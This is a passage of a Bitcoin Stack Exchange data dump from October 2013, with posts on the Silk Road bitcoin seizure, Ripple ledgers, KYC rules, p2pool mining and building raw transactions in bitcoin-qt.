  <row Id="13554" PostTypeId="2" ParentId="13552" CreationDate="2013-10-02T22:07:19.260" Score="4" Body="&lt;p&gt;There are a number of forums. Ripple Labs has an &lt;a href=&quot;https://ripple.com/forum/&quot; rel=&quot;nofollow&quot;&gt;official forum&lt;/a&gt; that the developers read regularly. There's also a &lt;a href=&quot;https://groups.google.com/forum/#!forum/ripple-server&quot; rel=&quot;nofollow&quot;&gt;Google Ripple Server group&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="3228" LastEditDate="2013-10-02T22:42:08.510" LastActivityDate="2013-10-02T22:42:08.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13555" PostTypeId="2" ParentId="13551" CreationDate="2013-10-02T22:53:37.857" Score="6" Body="&lt;p&gt;I would estimate that there are 30 public servers and 11 validators as I'm typing this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I estimated the number of public servers by connecting to a number of servers and collecting the node keys of every server connected to them. While node keys are free to change, each server has a unique node key while it is connected. This is used to drop duplicate connections. So this should count each public server once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I estimated the number of validators by collecting the validator public keys of every validation I saw published over a five minute period. I counted the number of unique validation keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see any reason these counts could be too high, but they certainly could be missing some.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-02T22:53:37.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13556" PostTypeId="2" ParentId="13550" CreationDate="2013-10-03T00:28:39.110" Score="10" Body="&lt;p&gt;Property seized is held until a conviction, then sold at auction.   If there is no conviction, property may or may not be returned to the rightful owner.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-10-03T00:28:39.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13557" PostTypeId="1" CreationDate="2013-10-03T00:29:58.787" Score="3" ViewCount="424" Body="&lt;p&gt;I'm interested in the total amount of BTC that was seized in the Silk Road confiscation by the FBI. The reason I'm interested is so I can figure out what Bitcoin Addresses were used and how I can trace the usage of &quot;Silk Road coins&quot; in the network from today's date (the date the funds were seized) onward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How many BTC were seized in conjunction with Silk Road?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are those addresses?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-10-08T16:33:37.533" LastActivityDate="2013-10-29T05:47:59.723" Title="How many BTC were seized in relation to the shutdown of Silk Road?" Tags="|government|silk-road|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13558" PostTypeId="1" AcceptedAnswerId="13561" CreationDate="2013-10-03T00:40:54.097" Score="3" ViewCount="1482" Body="&lt;p&gt;The documentation for Ripple says that the genesis ledger starts at 0 but the &quot;effective genesis ledger&quot; is at 32570, because some historical ledgers are &quot;unavailable.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this, and what does it mean for the average Ripple user?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="5406" LastEditDate="2021-02-01T19:14:42.630" LastActivityDate="2021-02-01T19:14:42.630" Title="Why is Ripple's effective genesis ledger at 32570?" Tags="|ripple|ripple-ledger|" AnswerCount="1" CommentCount="0" ClosedDate="2021-02-06T18:35:28.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="13559" PostTypeId="2" ParentId="13557" CreationDate="2013-10-03T01:45:35.673" Score="0" Body="&lt;p&gt;The reports are saying &lt;a href=&quot;http://www.bbc.co.uk/news/technology-24373759&quot; rel=&quot;nofollow&quot;&gt;$3.6 million (USD)&lt;/a&gt; worth.  Lets just assume the mtgox market rate of roughly $141.00 from the morning of 10/2/2013 -- prior to that announcement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that would be roughly 25,532 BTC.  &lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-10-03T01:45:35.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13560" PostTypeId="2" ParentId="13557" CreationDate="2013-10-03T04:14:11.097" Score="5" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.nytimes.com/2013/10/03/nyregion/operator-of-online-market-for-illegal-drugs-is-charged-fbi-says.html?smid=pl-share&quot;&gt;this New York Times article&lt;/a&gt; of October 3, 2013:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Investigators believe Mr. Ulbricht collected commissions of more than 600,000 bitcoins, the equivalent of $80 million, which they are trying to gain access to. So far, the authorities have seized 26,000 bitcoins, worth about $3.6 million, from escrow accounts into which Silk Road buyers placed funds. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-10-03T04:14:11.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13561" PostTypeId="2" ParentId="13558" CreationDate="2013-10-03T04:51:40.913" Score="6" Body="&lt;p&gt;It doesn't mean anything for the average Ripple user. In January of 2013, a bug in the Ripple server caused ledger headers to be lost. All data from all running Ripple servers was collected, but it was insufficient to construct the ledgers. The raw transactions still survive, mixed with other transactions and with no information about which transaction went in which ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without the ledger headers, there's no easy way to reconstruct the ledgers. You need to know the hash of ledger N-1 to build ledger N, which complicates things.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-03T04:51:40.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13562" PostTypeId="1" CreationDate="2013-10-03T05:13:04.270" Score="1" ViewCount="652" Body="&lt;p&gt;Can anyone explain what KYC (Know Your Customer) regulations are &quot;missing&quot;, tough or impossible to implement with Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will offer a bounty to the most detailed answer&#xA;(However this question is too new for me to do so)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="37414" LastEditDate="2018-05-08T22:57:02.140" LastActivityDate="2018-05-09T09:42:27.120" Title="What are the &quot;Know Your Customer&quot; challenges that Bitcoin faces?" Tags="|privacy|banks|regulation|money-laundering|know-your-customer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13565" PostTypeId="2" ParentId="13543" CreationDate="2013-10-03T11:16:44.627" Score="0" Body="&lt;p&gt;Unfortunately you are right. If you run out of addresses (100 in the pool) Bitcoin-qt would have generated new addresses and those are not in that old backup, so you don't have the newly created private keys then you can't access the coins on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You better start using a deterministic wallet, like Electrum or Armory, if you don't have set up a good (automatic) backup process.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-10-03T11:16:44.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13566" PostTypeId="1" AcceptedAnswerId="13592" CreationDate="2013-10-03T13:07:58.990" Score="2" ViewCount="303" Body="&lt;p&gt;We are trying to build a much simpler version of &lt;a href=&quot;http://www.bitcointrezor.com/&quot; rel=&quot;nofollow&quot;&gt;Trezor&lt;/a&gt;. We do have an finished PCB design from a previous project and would like to know whether this design can be modified, without changing the processor, to sign Bitcoin transactions. The current processor is a &lt;a href=&quot;http://www.ti.com/product/cc2540&quot; rel=&quot;nofollow&quot;&gt;TI CC2540&lt;/a&gt;. Is it possible to get a minimalistic secp256k1 implementation to run on it, or are we just out of luck?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-10-03T13:15:33.837" LastActivityDate="2013-10-04T19:09:35.863" Title="Can secp256k1 be implemented efficiently on a 8-bit processor and very limited RAM?" Tags="|secp256k1|hardware-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13567" PostTypeId="2" ParentId="13562" CreationDate="2013-10-03T13:11:12.783" Score="3" Body="&lt;h2&gt;TL;DR&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Businesses in the Bitcoin space face no special challenges to implement KYC regulation, except the privacy oriented mindset special to some bitcoin users. However, it is impractical to enforce KYC regulation on the entirety of the bitcoin network itself.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Long version below&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Know Your Customer (KYC) regulation applies to financial institutions and other regulated companies such as for example money transmitters and currency exchanges. It's stated goal is to make such companies report potential money laundering and to protect against identity theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core component of KYC forms around following a Customer Identification Program, which means that the above introduced institutions have to form a reasonable belief that they know the true identity of each customer. This means that in order to comply with regulation they will require their customers to validate their accounts. The companies don't face any special difficulties whatsoever, except that there might be a slightly bigger number of Bitcoin users that will be adverse to their services due to KYC requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, companies that offer comparable money transmission services as the bitcoin network itself would be required to implement KYC regulation. It is possible that at some point in the future a country might require by law Bitcoin users to disclose their bitcoin addresses. However, that would be impractical – if not impossible – to enforce, as, due to the decentralized nature of the Bitcoin network there is no central entity that could be forced to disclose such information about other users and there would be any number of participants that would have to be monitored and brought into compliance in order to collect such address information about their business partners. Additionally, even if associated to certain addresses through business partners informing on them, in most cases users would be able to plausible deny control over said addresses.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2018-01-06T20:45:04.740" LastActivityDate="2018-01-06T20:45:04.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13568" PostTypeId="2" ParentId="13528" CreationDate="2013-10-03T13:34:37.027" Score="1" Body="&lt;p&gt;You can either do a sanity check as also suggested in Anonymous' answer: The age of the last block shouldn't be more than a few minutes old (depending on the coin protocol), usually not more than twice the aimed .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is to compare the id of the last block against one or several well connected websites which respectively would be your coin's blockexplorer.com or blockchain.info. If that website's latest block has the same block id as yours, it is reasonable to assume that you are up to date.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-10-03T13:34:37.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13569" PostTypeId="1" CreationDate="2013-10-03T14:11:02.023" Score="4" ViewCount="832" Body="&lt;p&gt;Over the past 2 days, it has come to light that the online market place SilkRoad has been seized by the FBI. Also, they have seized $3.5m worth of BitCoin (which must've been in Escrow).&#xA;&lt;a href=&quot;http://www.bbc.co.uk/news/technology-24381847&quot; rel=&quot;nofollow&quot;&gt;http://www.bbc.co.uk/news/technology-24381847&lt;/a&gt;&#xA;&lt;a href=&quot;http://arstechnica.com/tech-policy/2013/10/feds-shut-down-silk-road-arrest-alleged-admin-dread-pirate-roberts/&quot; rel=&quot;nofollow&quot;&gt;http://arstechnica.com/tech-policy/2013/10/feds-shut-down-silk-road-arrest-alleged-admin-dread-pirate-roberts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this mean for the BitCoin cryptocurrency - can we expect a sudden increase in the value of a BitCoin? Or because BitCoins biggest source of transaction is shut down, will we see a sudden crash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above does not have to be strictly related to the amount that was seized - it can be influenced by peoples view of bitcoin after the seizure of the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is BitCoin itself in trouble for &quot;money laundering&quot; or anything similar?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="2418" LastEditDate="2013-10-04T08:12:51.087" LastActivityDate="2013-11-03T22:02:17.897" Title="With SilkRoad shutting down, and BitCoins being seized, what does this mean for bitcoin?" Tags="|silk-road|" AnswerCount="3" CommentCount="3" ClosedDate="2013-10-08T23:14:23.027" ContentLicense="CC BY-SA 3.0" />
  <row Id="13570" PostTypeId="2" ParentId="13569" CreationDate="2013-10-03T15:27:15.073" Score="6" Body="&lt;h2&gt;Bitcoin being seized&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The bitcoins on SilkRoad have been seized by gaining access to the private keys of the SilkRoad's wallets. Government agencies have seized bitcoins once before in a similar fashion from a customer of SilkRoad. $3.6m are somewhere around 30k Bitcoin out of the around 11.75m currently existing. For comparison more than 500k BTC have been transmitted in the last 24h according to &lt;a href=&quot;http://blockchain.info/stats&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;. The amount that was seized is economically insignificant and as it probably will be held as evidence for the trial, will not have any influence on the bitcoin market itself.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;SilkRoad being shut-down&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has plenty of legitimate reasons to be used, so that this one illegal reason should not be all that important.&#xA;Bitcoin is useful for/because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;International money transfers (superior speed, reduced cost, however you have the currency risk)&lt;/li&gt;&#xA;&lt;li&gt;Faster and cheaper for shop owners compared to credit card payments&lt;/li&gt;&#xA;&lt;li&gt;No exposure of credit-card information when online-shopping&lt;/li&gt;&#xA;&lt;li&gt;Solves a bunch of problems for services such as porn merchants (no chargeback (buyer's remorse is a big problem for them), pseudonymity, fast, cheap, easy)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has started building a lobby (Bitcoin Foundation, Angle Investors, Investment Trusts, Exchange Traded Funds) and businesses (Exchanges, Webstores, Mining equipment manufacturers, Gambling) have been gathering investments, so that there is funded interest to keep bitcoin going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that it was particularly unexpected to see SilkRoad shut down and don't think that it will be a bad thing for the bitcoin project. If anything, it might prove to be an opportunity for the bitcoin project to show that it has evolved beyond just shady use-cases.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="2995" LastEditDate="2013-11-03T22:02:17.897" LastActivityDate="2013-11-03T22:02:17.897" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13571" PostTypeId="2" ParentId="13545" CreationDate="2013-10-03T16:50:43.310" Score="1" Body="&lt;p&gt;It can be faked, but you can see it at:&#xA;&lt;a href=&quot;http://servername.com:9327/fee&quot; rel=&quot;nofollow&quot;&gt;http://servername.com:9327/fee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g., &lt;a href=&quot;http://nastyfans.org:9332/fee&quot; rel=&quot;nofollow&quot;&gt;http://nastyfans.org:9332/fee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6951" LastActivityDate="2013-10-03T16:50:43.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13572" PostTypeId="2" ParentId="13569" CreationDate="2013-10-03T17:47:11.953" Score="2" Body="&lt;p&gt;3.5M $ in BTC it is nothing for the Bitcoin economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current price is about 130$:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3500000$ / 130$ = 26923.07 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The FBI took about 27k worth of BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each day, the network produces 3.6k new BTC:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;25btc * 6 * 24h = 3600 BTC per day&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;26923.07 BTC / ( 25 * 6 * 24 ) = 7.48 days&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the FBI took the network's total &lt;a href=&quot;https://en.wikipedia.org/wiki/Bitcoin#Distribution&quot; rel=&quot;nofollow&quot;&gt;reward&lt;/a&gt; of a bit over a week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;As more bitcoins will be destroyed as far its price will rising up!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; It was really nearby:  &lt;a href=&quot;https://blockchain.info/en/unspent?active=1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX&amp;amp;format=html&quot; rel=&quot;nofollow&quot;&gt;Total: 29,657.48690986 BTC&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6799" LastEditorUserId="6799" LastEditDate="2013-11-03T18:20:48.883" LastActivityDate="2013-11-03T18:20:48.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13573" PostTypeId="1" CreationDate="2013-10-03T20:03:14.767" Score="2" ViewCount="8124" Body="&lt;p&gt;For Bitcoin, various people distribute a &lt;code&gt;bootstrap.dat&lt;/code&gt; file which contains a snapshot of the blockchain.  A new Bitcoin user can download this file and verify it with their client, which is often more efficient than downloading the entire chain from the peer-to-peer network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does something similar exist for Litecoin?&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-03-18T17:47:08.490" Title="Is there a block chain bootstrap for Litecoin?" Tags="|blockchain|litecoin|bootstrap.dat|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13574" PostTypeId="2" ParentId="13528" CreationDate="2013-10-03T21:07:58.987" Score="0" Body="&lt;p&gt;You can't. That is what confirmations are for. The &quot;latest&quot; block is largely irrelevant due to the possibility of an honest &lt;a href=&quot;https://en.bitcoin.it/wiki/Chain_Reorganization&quot; rel=&quot;nofollow&quot;&gt;reorganization&lt;/a&gt; or the rare case of a 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each confirm essentially brings up the confidence in all previous blocks towards  99.9999...%. The blockchain is one of the major innovations that Bitcoin has over other distributed signed contract systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process is explained in detail on pages 6-8 of the &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;bitcoin.pdf whitepaper&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: If you can't check your client against a trusted peer's client, you can look at the timestamp on the last block, but it doesn't paint the whole picture. Examining the network hashrate and current difficulty to get an idea of the mining environment at the time is necessary to estimate how long, in human time, it will take for the computers to mine the next block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are cycles of high and low difficulty that come about due to fluctuating network hashrate that cause large changes in the amount of time it takes to find a block. Since your question involves references to an alt coin chain, which are known to have network hashrate changes in the range of +/- 1000%, it would be helpful for you to take into account when the last difficulty retarget was, the average time of the last few blocks compared to the &quot;expected&quot; block timer, and the estimated network hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, checking the timestamps of the previous 6 blocks against your local clock is good enough for Bitcoin. Coins with lower expected block timers will require more confirmations to be 99.9% sure those blocks aren't going to be orphan branches or attempted 51% attacks.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="6024" LastEditDate="2013-10-03T21:25:23.140" LastActivityDate="2013-10-03T21:25:23.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13576" PostTypeId="1" AcceptedAnswerId="13580" CreationDate="2013-10-03T22:03:39.697" Score="1" ViewCount="489" Body="&lt;p&gt;I'm using bitcoin-qt.  Suppose that one of the private keys in my wallet is compromised somehow, and is released to an attacker or the public.  Of course, I can transfer all the coins from the compromised address to a new one (unless the attacker does it first).  However, bitcoin-qt apparently doesn't provide a way to delete or disable a private key from a wallet.   (This is understandable; it would be pretty bad to accidentally delete a private key for an address that had coins in it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to leave the key in the wallet, assuming I never again intentionally transfer any coins to that address?  (I could label it DONOTUSE or something.)  Or are there situations (e.g. change) where the client might automatically transfer coins there without asking me?&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2013-10-03T22:14:35.860" LastActivityDate="2013-10-04T01:49:51.887" Title="Is it safe to keep a compromised private key in my wallet?" Tags="|wallet|security|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13577" PostTypeId="1" AcceptedAnswerId="13578" CreationDate="2013-10-03T22:26:09.557" Score="2" ViewCount="1504" Body="&lt;p&gt;I have configured p2pool, bitcoind and bfgminer for mining, and everything appears to be working normally (i.e., no errors are reported).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've been mining for over three days already at 2GH/s without obtaining a single share. This is what p2pool output says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; Shares: 0 (0 orphan, 0 dead) Stale rate: ??? Efficiency: ??? Current&#xA;&amp;gt; payout: 0.0000 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am worried about the question marks for efficiency. Is this normal? Should it be relevant, I am in a managed network, so I can't have any incoming peers (which as I understand, are not strictly required). &lt;/p&gt;&#xA;" OwnerUserId="6956" LastActivityDate="2013-10-03T23:43:52.757" Title="p2pool: Is it setup correctly? &quot;???&quot; in efficiency" Tags="|p2pool|mining-pool-shares|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13578" PostTypeId="2" ParentId="13577" CreationDate="2013-10-03T23:36:56.780" Score="2" Body="&lt;p&gt;You won't see a value there until you mine a share, so seeing a ??? is normal for the moment. The efficiency is a measure of how many shares have been counted in the share chain verses the ones you have found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 2GH/s you should be expecting to see a share soon, given an average of 2 days 8 hours to find a share at 2GH/s at difficulty 88800 (the current for p2pool). &lt;/p&gt;&#xA;" OwnerUserId="6454" LastEditorUserId="6454" LastEditDate="2013-10-03T23:43:52.757" LastActivityDate="2013-10-03T23:43:52.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13579" PostTypeId="2" ParentId="7161" CreationDate="2013-10-04T01:49:10.713" Score="6" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, &lt;em&gt;however the answer is a bit more advanced than for your everyday consumer:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is recommended to have some knowledge of JSON if using this method&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WORD OF WARNING:&lt;/strong&gt; Using this method can cause large amounts of inputs being set as miners fees. I suggest you continue with caution and start by using small inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction must be compiled and submitted via the bitcoin-qt console using the commands &lt;code&gt;listunspent&lt;/code&gt;, &lt;code&gt;createrawtransaction&lt;/code&gt;, &lt;code&gt;signrawtransaction&lt;/code&gt; and &lt;code&gt;submitrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access the Bitcoin-qt console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;launch your bitcoin client as usual and wait for it to load the blockchain and start up&#xA;click on 'help' in the menu bar (top right)&#xA;click on 'debug window'&#xA;select the 'console' tab&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;code&gt;listunspent&lt;/code&gt; to get an array of you spendable inputs in your wallet&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;This is where you set you transaction fee:&lt;/strong&gt; Use &lt;code&gt;createrawtransaction&lt;/code&gt; to generate a transaction in the form &lt;code&gt;createrawtransaction [{\&quot;txid\&quot;:\&quot;[txid of the input transaction]\&quot;,\&quot;vout\&quot;:[vout that relates to the txid of the input transaction]},...] {\&quot;[address to send your bitcoins to]\&quot;:[amount of bitcoins to send to this address],...}&lt;/code&gt; &lt;strong&gt;If you want a no fee transaction you must make sure all inputs equal the output. All inputs that are not spent in a transaction are used as miners fees.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;signrawtransaction [the output of createrawtransaction]&lt;/code&gt; to sign your generated transaction &lt;strong&gt;Note:&lt;/strong&gt; Your wallet must be unlocked to perform this command. If not type &lt;code&gt;walletpassphrase [your passphrase] 21600&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;submitrawtransaction [the output of signrawtransaction]&lt;/code&gt; to send your signed transaction to the network to be included into a block&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can see your transaction by going to &lt;a href=&quot;http://blockchain.info/tx/%5btxid&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx/[txid&lt;/a&gt; output from submitrawtrasaction]&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2014-05-14T09:06:29.300" LastActivityDate="2014-05-14T09:06:29.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13580" PostTypeId="2" ParentId="13576" CreationDate="2013-10-04T01:49:51.887" Score="2" Body="&lt;p&gt;If it is only one private key and you are aware not to use it anymore (and have rerouted any anticipated transactions to a new address), there is nothing harmful that the attacker can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-qt sends change from transactions to new unused addresses. Since those are the only transaction outputs that are transmitted to not-explicitly-specified addresses, it is safe to keep the private key in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A compromising party could, however, use the private key to sign messages. These messages would appear to be authored by you to recipients that know the respective address to be under your control. Unless the compromising party had additional information about you and the counter-parties of previous transactions the compromised key was used in, this shouldn't be useful to them (nor could you stop it either).&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-10-04T01:49:51.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13582" PostTypeId="1" CreationDate="2013-10-04T02:18:54.893" Score="4" ViewCount="2445" Body="&lt;p&gt;I want to run two instances of bitcoind on my machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know my bitcoin.conf file is in ./bitcoin/bitcoin.conf, and I know (thanks to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1270/is-it-possible-to-run-more-than-one-client-instance-on-a-machine&quot;&gt;this thread&lt;/a&gt;) that I need to change my .conf file to point to different data dirs and RPC ports, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is only one .conf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about pointing my second bitcoind instance to a new bitcoin.conf file? I copied the directory with the compiled code to a new directory, I am making the assumption that compiled code can be copied into another directory and it will work without problems.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-08-30T23:32:49.117" Title="How do I run two instances of bitcoind on the same linux machine with different conf files?" Tags="|bitcoind|linux|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13583" PostTypeId="2" ParentId="12508" CreationDate="2013-10-04T02:37:31.783" Score="1" Body="&lt;p&gt;To send bitcoins using the API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is recommended to have some knowledge of AJAX if using this method&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WORD OF WARNING:&lt;/strong&gt; Using this method can cause large amounts of inputs being set as miners fees. I suggest you continue with caution and start by using small inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the commands &lt;code&gt;listunspent&lt;/code&gt;, &lt;code&gt;createrawtransaction&lt;/code&gt;, &lt;code&gt;signrawtransaction&lt;/code&gt; and &lt;code&gt;submitrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access the Bitcoin-qt console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;launch your bitcoin client as usual and wait for it to load the blockchain and start up&#xA;click on 'help' in the menu bar (top right)&#xA;click on 'debug window'&#xA;select the 'console' tab&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;code&gt;listunspent&lt;/code&gt; to get an array of you spendable inputs in your wallet&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;This is where you set you transaction fee:&lt;/strong&gt; Use &lt;code&gt;createrawtransaction&lt;/code&gt; to generate a transaction in the form &lt;code&gt;createrawtransaction [{\&quot;txid\&quot;:\&quot;[txid of the input transaction]\&quot;,\&quot;vout\&quot;:[vout that relates to the txid of the input transaction]},...] {\&quot;[address to send your bitcoins to]\&quot;:[amount of bitcoins to send to this address],...}&lt;/code&gt; &lt;strong&gt;All inputs that are not spent in a transaction are used as miners fees.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;signrawtransaction [the output of createrawtransaction]&lt;/code&gt; to sign your generated transaction &lt;strong&gt;Note:&lt;/strong&gt; Your wallet must be unlocked to perform this command. If not type &lt;code&gt;walletpassphrase [your passphrase] 21600&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;submitrawtransaction [the output of signrawtransaction]&lt;/code&gt; to send your signed transaction to the network to be included into a block&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can see your transaction by going to http://blockchain.info/tx/[txid output from 